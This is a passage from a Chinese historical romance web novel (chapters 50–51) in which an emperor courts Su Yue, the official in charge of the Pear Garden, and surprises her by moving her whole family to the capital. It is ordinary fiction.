皇帝的脸拉得更长了,“你还这样觉得过?” 苏月支吾:“我的眼睛骗不了人,可不就是这么觉得……”见他气不打一处来,很担心他会伤身,忙压了压手,“好好好,陛下与齐王都美。我那日是第一次见齐王,很新鲜罢了。” 皇帝怅然颔首,“朕懂了,你见朕太多,不新鲜了,所以觉得别人更好,你这个喜新厌旧的人!” 多严重的指控啊,不过虽然让他伤心,却好像是事实。 苏月难堪地咧嘴,“多见几次就不新鲜了……中秋的大宴上,齐王应当会现身吧?我听鲁国夫人说他身子太弱,不能娶亲,好可惜啊。” 皇帝固然一心捍卫自己的地位,但对于这位阿弟,还是十分疼爱的,“他自小身体不好,别人琢磨吃什么好菜,他只能考虑吃什么药。这些年朕在外征战,每常听说哪里有神医,就想尽办法把人找到,送回姑苏去。可惜看了很多大夫,没法根治他的病,都说能保住性命就不错了。娶亲这等伤元气的大事他干不了,所以太后将希望寄于朕一身,权家血脉的延续都得靠朕,你知道吧?” 苏月迟迟应着,“陛下能者多劳。” 话倒是挺会说,但无论怎么旁敲侧击她都装傻充愣。刚才明明那么好的时机,她只要答一句对他有意,他明日就可以在朝堂上宣布,准备迎娶皇后了。可惜她就像个实心的大鼓,怎么敲都没有回声,他不由感到气馁,答应太后立春之前娶亲的,这个承诺不知能不能兑现。 眼眸一转,“辜娘子,你可是二月里的生辰?”他好声好气打探。 苏月说可不,“春暖花开的好时节呀。” “那你明年二月就年满二十了,照着姑苏嫁女的习惯,不宜再蹉跎了,是么?” 其实辜家人对女儿成不成婚这件事,向来没有什么执念,遇见好的嫁了,遇不见好的常养闺中,也是小事一桩。主要辜家上一辈的两位老姑母,婚后都很不幸,大姑母嫁了富商,娘家家底不如人,被婆家看不起。二姑母的郎子隔灶饭香,爱与别人的妻子不清不楚,连好友房里的人都勾搭。二姑母临盆那日,他被人捉了奸,寒冬腊月扒光了绑在院子里,差人回家要钱赎身。二姑母受了刺激大血崩,虽然后来救活了,但月子里的病医不好,熬到二十八岁还是死了。 有那么凄惨的先例,阿爹便与阿娘说,别人家的女儿娶进门,自家能尽心善待,自己的女儿送到人家,好与不好都由人家说了算,心里终归不踏实。所以要找个离得近,讲理的读书人,退一万步,这读书人要是不上道,娘家出马还能揍他。倘或嫁给了武将,她那几位哥哥不够人家一指头,仔细掂量过拳脚手段毫无胜算,所以权家派来的媒妈妈一登门,阿爹的脑袋就摇成了拨浪鼓。 现在他又来刺探消息,梨园刚上手,何谈儿女私情! “不是说过么,我的婚事自己不能做主,得问过阿爹阿娘。”她尽可能地拖延糊弄,“等什么时候我得了空,回姑苏一趟,看看阿爹阿娘怎么说,再回来告诉陛下。” 她满以为自己很高明,却不知道这个借口用不了几日了。辜家全族已经到了上都城外七十里,至多还有两日就进城了。 皇帝心里大笑三声,自觉胜利就在眼前,真是迫不及待想看她目瞪口呆的样子。但眼下还得按捺,遂故作深沉地点点头,“说得也是,父母之命媒妁之言,娘子是个守旧的人,和朕一样。” 苏月看向他,总觉得和风细雨的外表下,藏着深不可测的阴险狡诈。可她不敢往深了探究,也不敢追问,天晓得他会蹦出什么惊人的点子来。 反正今日被弹劾一事,也算圆满解决了。她受了御史台官员的挤兑,但罚俸并未真正实行,伤害并不大。 “那臣这就回梨园了。”苏月道,“我要回去重拟章程,彻底根治这个毛病。乐工虽苦,也要自爱,不能让那些狗眼看人低的言官拿住了把柄,以此贬低我们。” 皇帝也不相留,“去吧,朕等着看你整顿的结果。对了,你的那条巷道,朕让人加了半边顶棚,如此暑天晒不着,雨天淋不着,走起来越发顺畅,你想见朕时可以说走就走。” 苏月听了,百感交集。平心而论,皇帝陛下是真的尽心了,可是他的身份,却比当年的权家大郎更令辜家人畏惧啊。 帝王的恩宠能维持多久,很难说。彼此相识不过半年,兴头上花好稻好,心都能掏出来,过上几年扪心自问,又后悔自己瞎了眼。她明白一个道理,得不到的才是最好的,与其将来被丢在一旁,不如做陛下心头的朱砂痣吧。一面占尽便利,一面自由自在,不比困守掖庭生孩子强多了。 祖传做生意的头脑,清醒且能明确分辨赚赔,苏月嘴里道着谢,预备退出乾阳殿。 皇帝含笑,“朕送你到门上。” 心里可说是高兴坏了,对过两日局势的惊天逆转充满期待。 苏月见他眉眼里都是舒称,实在不明白他到底在欢喜什么。他要送,不能拒绝,便跟在他身旁迈出了乾阳殿,在他黏腻的目光下辞别,只想脱身。 “朕真是不忍与你分开。”他忽然说,“要不然你别住在梨园官舍了,朕每日派小轿过去抬你吧。” 苏月说:“陛下,君臣之间是不兴这样的。” 就知道她不会答应,这人一副铁石心肠。皇帝只得作罢,又问:“外面日头这么大,你不曾打伞吗?” 万里来传话,她料想出大事了,心慌意乱什么都顾不上,还打什么伞。便摇摇头,“我耐晒,扛得住,陛下不必担心。” 皇帝左右的人都极有眼色,话音方落,淮州就送来了一把油纸伞,“娘子路上撑吧,油纸底下垫了深绸,能挡雨也能遮阳,是陛下下令为您特制的。” 苏月讶然接过来,“陛下有心了。” 皇帝云淡风轻,“你在圆璧城办事,难免要外出,这伞轻便易携带,可以伴你每个艳阳高照,和狂风暴雨的日子。” 苏月听了,把伞撑开,见柳青的伞面上画了一枝雨过梨花,地上还有打落的零星花瓣。更玄妙的是花枝上端有落款,标注着做成的时日,及一枚鲜亮的朱砂印章。仔细看,落印是“政通”二字,政通是当下的年号,她就明白了,这画作必定是皇帝陛下的手笔,难怪他一副心高气傲的模样,也不说破,等着她来夸赞。 “陛下还擅丹青?”她这回倒是实心实意佩服他的,惊叹他的笔触这样精细,能将梨花的柔美刻画得淋漓尽致。 皇帝谦虚地微笑,“朕文韬武略,虽然靠双拳打下江山,琴棋书画却也稍通。这画是朕为你一人所作,世上没有第二把了,你要珍惜知道么,别枉费了朕的心意。” 苏月连连说好,“我竟有些舍不得用它,这么大的日头,别把它晒坏了。”说着当真把伞合起来,紧紧搂进了怀里。 皇帝一看,心火燎原,四外冒热气。她这么做,会让他浮想联翩,自己的精神附着在了那把伞上,她搂的哪是伞,分明是他啊! 细密的汗渗出鬓角,忽然觉得好热,这七月的天气果真不可小觑。 忙乱中拉出手绢来擦拭,云绫在眼前飘来荡去,眼尖的苏月一下就认出来,这不是自己丢了的那块吗? 先前一直想不起来丢在哪里了,现在一见才记起来,那回他病了,自己去徽猷殿照应,怕撤开热手巾后伤处受凉,她把自己的手绢盖在他胸口上了。后来不翼而飞,她也忘了,到这会儿才知道被他藏了起来,要不是今日他露馅,怕是一辈子都找不回来了。 她的眼睛紧紧盯着,抬手想去够,那只手在他面前划拉,皇帝很疑惑,“你做什么?” 苏月指了指,“这手绢是我的……” 他不由一怔,“你的手绢……怎么会在朕这里?” 真是个好问题,苏月道:“反正肯定是我的,别问为什么。要是细究,定是您昧下的。” 面对她的笃定,皇帝恼羞成怒,“朕已经觉得很不好意思了,你还要说得如此直接,难道是想让朕惭愧吗?” 苏月张了张嘴,最后还是放弃了,想把手绢要回来是不可能了,他喜欢就留着吧。 无奈地收回手,“我回去了哟。” 皇帝把手绢塞进袖子里,接过她的伞,打开又再递回去,“物尽其用如知人善任,不闲置,就是最好的尊重。” 有时候想想,他确实是个很神奇的人,一面如少年般执拗热血,一面又有帝王壮阔的心胸。时不时耸人听闻,又时不时令人精神振奋。 苏月握住伞柄,退后两步伏伏身,方才顺着台阶下去。这一路没敢回头,知道他一定在目送他,因为两掖侍立的内监仍旧保持着垂首的姿势,这是皇帝在场时必须保有的敬畏。 走着走着,不知为什么感到烦闷,他把自己弄得那么纯情做什么,快要奔三十的人了,一点都不决断。可是他的不决断,又好像只对自己,这阵子听说安西府的都护已经被放回去了,可见他的计划顺利实行了。他在政务上雷厉风行,对待她时粘缠了点,也不算太讨厌。 向北走,走到陶光园前时,苏月没有犹豫就转身登上了长廊。长廊尽头连着她的专用巷道,她要去看看顶棚做成了什么样。从门上远眺,西边半侧果真建起了廊道,成排抱柱根根直立,上面加了出檐,将这巷道分割出了阴阳两面,以后往来确实会方便许多。 唇角慢慢仰起来,头顶有遮挡,脚边有灯火,一切都刚好。忽略了那人的狂妄无聊,细微处的用心还是很令人感动的…… 不太妙,感动得太多,就不觉得他不是良配了。赶紧甩甩脑袋告诫自己,一定要做让他求而不得的女郎。 方诸门外还落着锁,走到尽头也进不了圆璧城,于是她重新折返通过玄武门,仍旧走青龙直道。手上的伞,撑出了一片阴凉,连阵阵蝉鸣也离她很远似的,这就是有人擎天的感觉啊。 只是回到梨园,心情就变得沉重了,把管事的人都叫到面前,御史台弹劾的内容向他们转述了一遍,最后问:“诸位可有什么高见?” 太乐令长叹,“我就知道,过于宽待必会引发内乱。不是说大娘子不该善待他们,实在是不加约束,势必有人趁机作乱。” 太乐丞道:“卑职传令下去,自今日起所有乐工都须服从分派,还如以前一样。” 苏月问:“若果真在那些府邸遭受了不公,又该怎么办?” 太乐令道:“朝廷不是颁布了政令吗,若有亵玩乐工着,轻则丢官罢爵,重则下狱流放,还有什么可怕的?” 可苏月自己做过乐工,知道界定的艰难,“逼着你喝一杯,算不算亵玩?单独传见要你奏曲,两眼在你身上巡视,算不算亵玩?” 众人面面相觑,一时间也没有什么好主张了。 苏月沉吟良久道:“设立巡检吧,派遣到各个府邸的乐工万一被轻慢,立时就能回禀巡检,记录在案。每家赴邀的乐工少则三五,多者一二十,总不见得人人被欺凌。受了委屈的下次可以免于应邀,一切如常的须得服从调遣,陛下早前和我说过,没有规矩不成方圆,是我疏忽了。从今往后还是得有章程,若想人敬你,先得自尊自重。乐工们都是吃朝廷俸禄的,主家有赏是意外之财,倘或变成恶意的索取,那就对不起陛下的宽宥和栽培了。” 众人合计了下,觉得这个主意很好,梨园每天都有一二十个邀约,每一处都派官员押队,实则是不现实的。如果设了巡检,定时走遍这些门第,遇上不公把经过说清楚,事后再行核实。梨园之中唯有受辱是头一等的大事,因赏钱少便借故推脱,一经发现要受重责,以前那些处罚的手段,至今仍旧令人闻风丧胆。 这厢议准了,照着规章实行下去,接下来果然再也没人合起伙来挑肥拣瘦了。苏月开始预备全心应付过两天的中秋大宴,《霓裳羽衣曲》曲破那段,从男部里挑选了十六人跳软舞。身姿柔软的儿郎们穿着轻如烟霞的缭绫翩翩起舞,聚在一起旁观的前头人看得花枝乱颤,指指点点这个健美,那个舒展。 颜在抱着胸发表意见,“这缭绫太素,看上去有些寡淡,莫如在鬓边簪一枝蜀葵吧,又大又红又奔放。” 女郎摆弄起男子来,也是很有想法的。苏月觑觑她,以前谨小慎微的朱娘子如今两眼放光,蓬勃的想象力都快顶破天灵盖了。 正当她打算同大家商议一下,该给舞者身上加些什么配饰的时候,见国用从外面进来。边走边朝场上探看,笑着说:“娘子正忙呐?” 苏月拱了拱手,“班领来了,陛下有吩咐吗?” 国用说没什么吩咐,“让奴婢来接娘子而已。” “接我?上哪儿去?”她嘴里问着,手里的曲谱已经递给了颜在。 国用掖着两手,笑得神秘莫测,“娘子莫问,跟奴婢走准错不了,到了那里自见分晓。” 第 50 章 苏月不明就里, 但还是跟随国用走了。原以为皇帝召见她,应当往南去,没想到被领着一路向北, 到了龙光门上。 穿过深深的门洞,便见外面停着一辆马车,她愈发迷糊了, 难道是要出宫,到城内去逛逛? 她没有上车, 走到窗前撩了下窗帘, 果然见里面坐着一个人, 便道:“陛下, 我忙得很呢,要是出去吃喝玩乐,我就婉拒了。” 所以女郎有事业,实则也不是多值得快乐的一件事,因为很容易遭到冷落。而且她的胆子真的很大, 连皇帝陛下亲自驾临她都能推辞,下回要是派人传话, 恐怕她就要抗旨不遵了吧! “上来。”皇帝寒声道, “朕在你眼里, 难道是只会吃喝玩乐的人吗?朕来找你, 必定是有要事, 就算没有要事, 你也不能不奉陪。” 话都这么说了,看来打不了一点商量,苏月只得在国用的搀扶下登上车,提着裙裾嘀咕:“我忙了一整日, 怕身上的汗味熏着陛下。” 皇帝道:“朕不嫌弃你,再说你御前失仪也不是一回两回了,朕若是同你计较,不光你,你们整个辜家都要被你连累。”说着又很好心地提点她,“日后可要小心行事了,毕竟有家有口,不能冒冒失失,心里只想着自己。” 苏月觉得这人怪得很,又说这些莫名其妙的话来威胁她。远在姑苏的家人还要被他利用,实在是没天理。 她不答话,皇帝敏锐地觉察了她的腹诽,也不生气,豁达地笑了笑。 苏月朝外面看,马车笃笃穿街过巷,也不知要去哪里。在梨园的这些日子,她倒也经常外出,但上都实在太大了,很多地方她都没去过,也不大认得路。 扭回身问:“陛下,莫非您要带我去齐王宅,与齐王会面吗?” 苏月有时候也很佩服自己的脑筋转变之快,毕竟和他打了这么长时间的交道,越是剑走偏锋,越符合他的作风。 可惜猜错了,皇帝凉笑,“有想法很好,但不能异想天开。权弈平时需要静养,我带你去打搅他,这是我身为阿兄该做的事吗?” 猜不着,苏月便放弃了。无聊地转过头张望,马车穿梭在里坊之间,前面就是最大的集市。落日余晖照亮了半边城池,上都的夜市就要开场了。如今天气热,白天街市上几乎没什么人,都等太阳落了山才出门。 早前她刚来上都的时候,民生还没恢复,大街小巷蔓溢着一种苦中作乐的味道。现在再看,人们脸上的神情变得从容了,可见一个安定的王朝能让百姓脱胎换骨。这大多时候很让人讨厌的权家大郎,恍惚让她感受到了什么叫与有荣焉。 “南市和北市,还要大加发展。”他对她描绘起了将来的规划,“洛阳城营建好后,朕打算迁都关中,到时候建一个更大的梨园,让你呼风唤雨。” 阔建梨园当然让人欢喜,但迁都可不是小事。苏月别的不知道,只知道太过劳民伤财,不解地问:“这里不好吗?前朝定都在这里,造了这么大的紫微城,花费的钱财不计其数,做什么白放着不用呢?” 皇帝却有他的道理,“洛阳安逸,朕也知道,但此间不是长治久安之地。田土贫瘠,四面受敌,若是诸侯有异动,城池很难固守。朝堂上为迁都的事争执了很久,新都选址定不下来,朕心里却有主张。” 苏月是小女郎,这辈子走过的地方,除了姑苏就是上都。不知道关中在哪里,更不知道所谓的关中有什么殊胜之处,满脸迷茫地望着他。 他便前倾着身子,向她仔细描述,“关中沃野千里,左有崤函,右有陇蜀,阻三面而守,独留一面东制诸侯,如此京师稳如泰山,国家有了根基,才不会像前朝一样随波逐流。朕知道迁都耗费巨万,营建一座宫城会掏空国库,但朕并不认为这是朕的一时兴起,反倒是建立万世基业的长远举措,能保我大梁后世子孙不受外敌来犯。朝堂上有人反对,提起动用国库就瞻前顾后,万般不赞同,朕其实也犹豫过,不知究竟该不该执意这么做。迁都与乱世再起,究竟孰轻孰重,朕想听听你的意思。” 苏月心道陛下您可真是高看我,和我讨论起国家大事来。没有接触过政事的女郎,只有一个最直接的看法,“百姓历经了三年动荡,再也经不起烽烟了,陛下若想好了此举能保国家安定,那就去做。只不过大梁方建国,元气还未恢复,千万不要在此时让百姓受徭役之苦。除此之外,就再也没有别的要求了,陛下可自行定夺。” 皇帝听了她的话很高兴,“你若赞同朕,朕就没有顾虑了。你放心,立国三年不兴土木,这是早就想好的。回去朕就让尚书省记录在册,梨园使规劝朕轻徭役,容百姓休养生息……朕发现你这人心中有大局,且事事以百姓为先,不来做朕的皇后,实在太可惜了。” 最后这句话是脱口而出,连他自己也没想到,就这么把心事说漏了嘴。 惊惶地看看她,不知她会作何反应,她果然也怔住了,抿着唇半晌没有说话。 苏月并不愚钝,就比如他一再让人把她的话记录在册,如此良苦用心,她哪能不知道他的想法。可是在掖庭的那些日子,回忆起来还是感觉憋闷得很,现在能够为梨园乐工能做些实事了,为什么又要被那个头衔困住手脚? 当上皇后,也许对很多女郎来说是最高的目标,对她来说却不是。 不过气氛属实是很尴尬,她偏头朝外看了一眼,忽然发现了街边的小摊,顿时“唉呀”了声,“恬乳花酪,自从离开姑苏就没再吃过。”边说边招呼国用,“班领停一停,让我下车。” 国用忙勒住马缰,回身道:“何须娘子下车,卑下买来就是了。” 国用去了,很快就举着两只装着花酪的竹筒回来,十分娴熟地取出银针验过毒,送到了车内人的手上。 皇帝拿手托着,暗道这国用是老糊涂了吗,还给他买了一盏。这种甜食只有女郎喜欢,他是堂堂的一国之君,躲在车里吃这个,怕会被她取笑一辈子。 苏月想的却远没有他多,挖了一匙填进嘴里。这花酪拿冰湃过,入口即化,让她想起了姑苏的年月。 “吃呀,做什么不吃?”她催促他,“这可是拿钱买的,化了多浪费,别和钱过不去。” 皇帝没办法,低头尝了一口,不得不说,女郎喜欢的东西果真挺好吃。这就是遇见了不一样的人,体验另一种不一样的人生。他要掺合进她的小别致、小情调里,并且愈发对她的丝棉褥子心生向往了。 马车还在往前赶,天色也渐渐暗下来,苏月随口问了句,“咱们去哪个里坊?” 外面赶车的国用回话,“永丰坊,就在南市前面,马上就到了。” 苏月不疑有他,一心还在她的花酪上。吃得差不多时才惊觉,自己不知什么时候和边上的人这么相熟了,当着他的面舔唇舔勺子,居然一点都没觉得有什么不对。似乎女郎的端庄典雅只有在别人面前才需要伪装,和他这么不见外,不知是因为太放松,还是因为完全不在乎他的看法。 摸摸前额,也说不上来自己是怎么想的。不经意朝外瞥了一眼,见前面有所大宅子,宅邸门前站了很多人,碍于天色昏沉,看不太真,但那隐约的身形,为什么看上去那么眼熟呢…… 她忽然被拿捏住了全部精神,心头不由大跳起来,总觉得那些身影像自己的亲人。 手里的花酪已经顾不上了,她探出身子,急急朝外张望。马车越走越近,终于看清了,她不敢置信地回身看他,见他含着笑,一副志得意满的模样,就知道这一定是他的手笔,他把她的全族都接到上都来了。 “陛下。”她颤声道,“你怎么这么好……” 皇帝以为她为表感激,不说狠狠亲他,投怀送抱一下不为过吧。他也做好了准备,准备迎接她暴风雨般的狂喜,结果是他想太多了。她把竹筒塞进他手里,迫不及待跳下车,忙于和她的家人们团聚去了。 那厢苏月又哭又笑,抱住母亲不肯松手,“阿娘……阿娘,我每日都在想您。您快掐我一下,让我知道不是在做梦。” 辜夫人抹着眼泪发笑,“傻孩子,怎么还是这糊涂模样!不用掐了,不是在做梦,我们当真来上都了。” 商贾之家的孩子,很重视生意,苏月问:“咱们家那些铺子可怎么办?” 辜祈年道:“全盘出去了。虽亏了些,好在亏得不多,并不为难。” 后顾无忧,终于放心了。苏月仔细看看母亲,紧紧靠在辜夫人肩头嘟囔:“我原想今年年尾设法回去看您的,不想你们竟到上都来了。”一面抬眼问父亲,“阿爹回去就着手操办这件事了么,来得好快。” 辜祈年说是啊,“陛下那日见了我,说怕你在上都孤寂,因此恩赏了宅子和铺面,让我们都迁到上都来。”边说边嗟叹,“如此大恩大德,不知应当怎么报答才好……” 虽然并未明说拿这些来聘苏月,但大家心中都有数,哪里来莫名其妙的恩典。既然接受了,拿人的手短,这事大致也就敲定了。 苏月倒没有这方面的困扰,与家人团聚了,怎么都成,至于会引发什么后果,以后再说吧。 复又快快活活和兄弟姐妹们叙旧,向族人亲眷们行礼。心里感慨皇帝办事的能力,辜家迁来的不仅是自己一家,连较为亲近的堂叔们也一同来了,往后还有什么道理想家。 三叔一家人这时往前挤,追着苏月问:“苏意眼下怎么样,她没有随你一同来吗?” 众人朝马车方向看过去,这才发现马车内还坐着个人,一时纳罕,总不见得是苏意吧! 车内的皇帝见辜家人都朝这里望过来,心里顿感紧张。还记得权家提亲被拒,自己这回出现,即便带着荣耀回来,也还是担心会被继续挑剔。所以苏月下车,他没好意思跟上,如今暴露在众目睽睽之下,背上不由起了一层薄汗,犹豫再三,才迟迟从车上下来。 苏月抽空回应,“苏意已经不在梨园了。她与廪牺署令两情相悦,被白令接出去了。” “什么?”三婶怪叫,“一个未出阁的女郎,就这么被人接走了?” 这时候没人在意三房的不平,辜家所有人都趋步上前,看清了手里握着两截竹管的人,辜祈年肃容振袖长揖下去,“辜氏一门,恭请皇帝陛下长生无极。” 众人拜伏,神情庄重,举止恭敬。皇帝说免礼,把手里的竹筒交给国用,这才浮起弘雅的笑意,上前与辜祈年攀谈,“辜翁一路上可还顺利?没有遇见哪个州府有人刁难吧?” 原本一大家子迁徙,只要不是逃难,总会遇见各种各样的麻烦。但这回却是万万分地顺利,连家主预备好上下打点的银钱,也没有花掉分毫。 辜祈年说,“每到一处,都有当地县丞接应,替我们安排好吃住。卑下知道,定是陛下的恩典,让我们一路畅行无阻。” 皇帝点了点头,“路上顺遂就好。脚程比朕预期的快了半个月,赶在中秋之前入上都,正好一家过个团圆节。” 他平易近人,半点没有皇帝的架子,由不得让辜夫人多看了几眼。 早前家主回来说见了陛下,倒也夸赞过样貌周正,辜夫人脑子里便浮现出一个膀大腰圆,长着浓眉大眼络腮胡的国字脸。如今见到了真人,他穿着玄色的上衣,下着朱红的长裳,一条饕餮纹的宽腰带束出细腰,虽然身量那么高大,却半点不显得粗笨,就是个大了一圈的儒雅读书人模样。 真真惊异,当初来提亲的权家大郎,竟然长得这样?身条那么好,眉眼也好看,这么一打量,和苏月很是相配啊。 “快别站在外头说话了,多失礼!”辜夫人扯扯丈夫的衣袖,“迎陛下进去坐呀。” 辜祈年忙哦了声,笑道:“糊涂了,一见着孩子,便什么都顾不上了。”边说边比手,“陛下快请进。蒙陛下费心,我们一来事事都是现成的,不用自己动半点手,有陛下看顾着,在上都立足便不是难事了。” 皇帝在辜家人面前还是知礼内敛的,和煦道:“铺面上的事,朕已经命人吩咐武侯多加照应了。辜翁开的是质库,难免会遇上形形色色的人,天子脚下法度虽严明,也有顾及不到的地方,让南北市的武侯铺护持,比吩咐大都府强。” 辜祈年连连说是,大人物哪能时刻关注这些鸡毛蒜皮,直接管理街市的武侯才是最为实用的。皇帝的寸步体谅本已令人很感动,没想到落脚之后被告知,全族五户人家都分派了府邸和铺面。但凡是姓辜的都能分一杯羹,这份大礼砸下来,横是什么都别说了。 皇帝被众星拱月一般,推到了上座坐定,众人都显得拘谨而谨慎,个个掖着手,一时不知该说什么好,难堪地交换了眼色,都干干笑了。 皇帝舒展眉目,温声道:“前事不再提了,大家不要见外,与朕寻常相处吧。”说着招呼苏月,“小娘子现在的境况,不与家里人说说么?” 正忙于和妹妹阿嫂唧唧哝哝说话的苏月被点了卯,方才骄傲地告诉父母,“阿爹阿娘,陛下把梨园交给我了。从今往后梨园子弟再不会受人欺负,被召入梨园,也不是灭顶之灾了。” 这等忽来的消息,让全家人震惊不已,“苏月可是当上女官了?苍天,祖坟上冒青烟,家里竟有人走仕途了。” 所有人都很高兴,只有三房热锅上的蚂蚁似的,点灯熬油熬到苏月离开皇帝视线,三婶才拽她到一旁,语调里颇有责备的意思,“你当上了梨园使,按理是能做主的,怎么放任阿妹被人接走了?苏意年纪小,什么都不懂,你是做阿姐的,合该替我们看顾她才是啊。” 他们不知情由,有这疑虑不足为怪。眼下全族都在,这种家丑宣扬得人尽皆知不太好,苏月是想替他们保全颜面的,便道:“苏意和那位白令生死相许了,央告我成全她,我也不便阻止。好在白府就在淳风坊,离这里不算太远,明日阿叔和阿婶可以去看看她,见到她就什么都明白了。” 听得三房两口子直愣神,要发作又忌惮皇帝在场,压声道:“她有爹娘,这种大事不用听父母之命吗?你虽是阿姐,却也不能作这么大的主,看着阿妹无名无分去了人家府上,你还说不便阻止?” 苏月仍在安抚他们,“已经拟定了要成婚,正好二位来了,明日可以与白家仔细商议。” 那厢已经组了茶局,阿嫂招呼他们来坐,苏月想去却脱不了身,被三婶拽住手臂,兴师问罪般晃动,“这就要成婚了?成什么婚,谁答应了?” 众人都朝他们看过来,不知进退的三房夫妻脑子一热,觉得这是家务事,若是皇帝要过问,也可以让皇帝陛下来评评理。 苏月的好耐性已经用完了,无奈道:“苏意的脾气,阿叔和阿婶难道不知道吗?必定是有因有果,我才容她被人接走的。” 三叔大约意识到了什么,不再说话了,三婶却不依不饶,“她是个一根筋,所以才要你做阿姐的多多照拂……她是什么时候被接走的?不成,我等不了,即刻就要把她接回来,你若不能带我们去,就找个人给我们带路吧。” 苏月被他们弄得不胜其烦,“明日再去吧,白天更好说话。” 可三婶不肯罢休,心里未尝不存着嫉妒。苏月光宗耀祖跟了皇帝,而自家女儿还未成婚就住进人家府里,这不是苏月这个做阿姐的看顾不力吗,甚至说得更恶劣些,分明就是有意坑害了苏意。 “你为何不告知实情呢。”皇帝看不过眼了,站起身道,“都是自家人,不会有人存心笑话的。况且要筹办婚事,大家也该知情。” 苏月被他这么一说,努力守住秘密的信念顿时土崩瓦解,也不管三叔夫妇怎么想了,直撅撅道:“苏意和白溪石暗通款曲,怀了私孩子,白溪石推诿搪塞,又害得她滑了胎。我本想劝她放弃,干脆去大都府告白溪石一状,可苏意还是执意要嫁他,我也没办法,只好逼白溪石向衙门递交了文书,把苏意接回去养身子了。” 第 51 章 这不就是自取其辱吗, 别人要替他们周全脸面,他们偏不领情。这下把老底都揭穿了,三房夫妇如遭雷击, 愕在那里久久回不过神来。 过了好一会儿,三婶终于迸发出哭声,“这个不要脸的东西, 你怎么不替我们打死她!老天爷,阖家的脸都被她丢光了, 亏我一路上都在惦念她, 没想到她这么不争气, 早知如此就不该生下她。” 众人都讪讪, 刚到上都就迎来这么个好消息,实在不知该哭还是该笑。 还是皇帝会劝人,“郎子是四品官,嫁了倒也不算辱没。再说患难见真情么,日后定会恩爱的。” 苏月笑得尴尬, 心道可不是患难见真情,白溪石都被她打得满脸花了, 不情不愿地答应娶苏意, 若是能恩爱, 必定是怕再次挨打。 众人看三房下不来台, 便也尽力劝慰, “陛下说得很是, 只要婚后能好好过日子,婚前有些坎坷也不算什么了。明日去郎子家好生商议昏礼事宜,早些把婚期定准了,自家也好操办。” 三婶哭得打噎, 捂着脸说:“我还有什么脸……都好好的,只我家现世报出了这样的纰漏……” 苏意的长兄,在族中排行老六,也是个猛头猛脑的人。拧着眉斥责母亲,“别哭了,搬到上都是高兴的事,哭成这样不嫌晦气?苏意是要嫁人,不是死了,收尸也没你这么嚎的。” 辜祈年见体统全无,尴尬地向皇帝致歉,“家里乱了章程,让陛下见笑了。” 皇帝倒很大度,“家家都有家务事,在朕看来寻常不过,辜翁不必周全。” 苏月的母亲早就见惯了三房的鸡飞狗跳,他们家出点什么奇人异事都是正常的,因此注意力全不在他们身上,只顾招呼皇帝,陛下喝茶,陛下吃点心。 苏月被他们吵得脑仁疼,忍耐再三才道:“时候不早了,阿叔阿婶们连日奔波,必定累了,都回各自府里歇息吧。这阵子梨园有事要忙,我抽不出空来,等得了闲再去拜访。到时候大家好生聚一聚,我领了月俸,请大家吃席。” 辜家的人,除了三房之外,都是知情识趣的。人家父母儿女要团聚,所有人都戳在这里,毕竟不方便。于是纷纷辞别,去认自己的府邸了。 待人一走,辜夫人才对皇帝道:“我家三房的甚是疙瘩,陛下纡尊驾临,他们失态至此,我们也很难为情。望陛下不要放在心上,除了他家,余下的人都很好,也感念陛下的恩典,都说要供长生牌位替陛下祈福呢。” 皇帝笑着说:“好意心领了,家里供着这个,实在有些吓人。朕只盼能解了娘子的思乡之情,让她潜心为朕管理梨园,就别无所求了。” 可是皇帝为了找人给他办差,用得着这么兴师动众,又送房子又送铺面吗?大家其实心知肚明,但没有得到苏月的首肯,家里人断乎不会随意应允什么。所以到最后也只是打打马虎眼,要紧的态一个都没表,在一片热热闹闹款待大人物的恭敬态度中,皇帝陛下亲临寒舍这一活动,就接近尾声了。 待要出门,全家都来相送,苏月因有职务在身还得返回梨园,最小的苏雪探身说:“阿姐,你的屋子已经预备好了,照着以前的卧房布置的,往后每日我还给你打扫。” 年少的苏雪,没有什么能为阿姐做的,认准了打扫屋子这个差事不放松,谁也不能和她抢。 苏月抿唇一笑,还是自家的阿妹,怎么看都比别人讨喜。 苏云问:“阿姐每日能回家住吗?” 这个问题事关重大,皇帝也调转视线望向她,提心吊胆等着她回答。 苏月犹豫了下,没有给确切的答复,含含糊糊道:“再说吧。反正现在离得近,我想回来的时候就能回来。”复又对母亲撒娇,“我想吃阿娘做的香翠鹑羹,等我下次回来,阿娘为我下厨吧。” 辜夫人说好,抬手抚了抚她的脸,依依不舍道:“原本还担心你瘦了呢,不想气色看上去很好,这样我就放心了。” 苏月笑得爽朗,“我在梨园如鱼得水,每日有自己想做的事要去做,再不是脑袋空空的了。如今家里人又都来了上都,我没有遗憾了,心里一高兴,可不红光满面吗。” 说得父母都笑了,心里那根悬着的丝线也渐渐松泛,没有什么比过得自在更要紧的了。 辜祈年郑重朝皇帝拱起手,“陛下对辜家有再生之恩,小女能得陛下看顾,辜某心中的感激无以言表,请受辜某一拜。” 这一拜自然没能实行,皇帝忙抬手架住了。让老泰山对自己叩拜,除非是不想娶人家女儿了。 他笑得和颜悦色,“都是不足挂齿的小事,辜翁千万不要客气。姑苏虽然富庶,终归是小地方,辜翁的生意要做大,还是来上都更有前景。” 辜祈年连连说是,把人送到马车前,目送皇帝与苏月坐进了车舆内。 国用甩着马鞭,驾马朝巷子那头去了,辜夫人收不回视线,喃喃说:“深更半夜,男女同乘,恐怕于礼不合啊……” 辜祈年叹了口气,“这事难办,往后就看苏月自己的了。不过我瞧她,好像也不反感那权珩。” 辜夫人说:“要死,直呼人家的名字,日后脱口而出,擎等着杀头吧。” 辜祈年笑了笑,“这不是背着人么。”复又叮嘱站在身后的儿女们,“你们可得留神,小心祸从口出。” 一窝老实孩子,都讪讪应了。 马车已经走到巷口,就要拐弯了,辜夫人惆怅不已,“怎么觉得女儿像回门似的,还没说上几句话,就要跟着郎子回家了。” 那厢坐在马车里的皇帝直觑苏月,“你日后不会天天回家住吧。” 苏月说怎么了,“回家住不是应该的吗,朝中的官员下了职都回家。” 皇帝说:“你与朝中官员不同,梨园上千号人,时刻会有要紧事,你若不在圆璧城坐镇,他们就没有主心骨了。况且……”他别扭地说,“朕还专程给你开辟了一条通道,防止你夜间要见朕。这要是回家住了,这条巷道岂不是荒废了吗。朕让你全族入京,可不是为了搬起石头砸自己的脚。” 其实苏月明白他的小心思,皇帝陛下的用心良苦,她感受到了,自然不能做个过河拆桥的人。 作势想了想,“您说得对,以后每逢初一十五,我再回家住一晚。” 